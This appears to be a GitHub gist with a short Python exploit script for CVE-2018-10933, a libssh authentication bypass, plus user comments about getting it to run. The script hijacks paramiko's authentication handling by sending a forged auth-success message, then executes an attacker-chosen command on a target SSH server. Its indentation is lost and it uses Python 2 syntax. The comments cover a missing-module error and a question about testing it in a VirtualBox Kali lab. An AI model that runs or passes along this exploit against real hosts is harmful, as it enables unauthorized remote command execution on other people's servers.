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#!/usr/bin/env python
# Based on https://www.openwall.com/lists/oss-security/2018/08/16/1
# untested CVE-2018-10933
import sys, paramiko
import logging
username = sys.argv[1]
hostname = sys.argv[2]
command = sys.argv[3]
new_auth_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_USERAUTH_SUCCESS]
def auth_accept(*args, **kwargs):
return new_auth_accept(*args, **kwargs)
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_USERAUTH_REQUEST: auth_accept,
})
port = 22
try:
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.WarningPolicy)
client.connect(hostname, port=port, username=username, password="", pkey=None, key_filename="fake.key")
stdin, stdout, stderr = client.exec_command(command)
print stdout.read(),
finally:
client.close()
@qran253
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qran253 commented Oct 19, 2018

what is wrong here ? installed python-paramiko

root@test-VM:/home/test# python3 asd.py
Traceback (most recent call last):
File "asd.py", line 4, in
import paramiko
ModuleNotFoundError: No module named 'paramiko'

@rodrigobash
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What am I doing wrong?

image

@salik89
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salik89 commented Oct 2, 2020

Hi there, I chanced upon this and wondering if you could advise if there is a need for me to have an actual server before I can test this code? Or could I test it locally, eg. In Kali via VirtualBox?

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